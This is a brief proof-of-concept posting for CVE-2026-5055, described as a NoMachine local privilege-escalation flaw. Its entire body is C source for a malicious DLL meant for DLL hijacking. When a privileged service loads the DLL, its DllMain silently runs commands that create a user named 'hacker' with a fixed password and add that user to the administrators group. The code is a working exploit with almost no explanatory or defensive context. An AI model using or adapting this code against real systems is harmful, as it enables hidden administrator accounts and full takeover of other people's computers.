CVE-2026-5055 NoMachine本地提权漏洞

#include <windows.h> #include <stdlib.h> // PoC for CVE-2026-5055: Malicious DLL (DLL Hijacking) // This code demonstrates how a payload could be executed if the DLL is loaded by a privileged service. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Execute arbitrary code with SYSTEM privileges // Example: Add a new user to the administrators group WinExec("net user hacker P@ssw0rd /add", SW_HIDE); WinExec("net localgroup administrators hacker /add", SW_HIDE); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }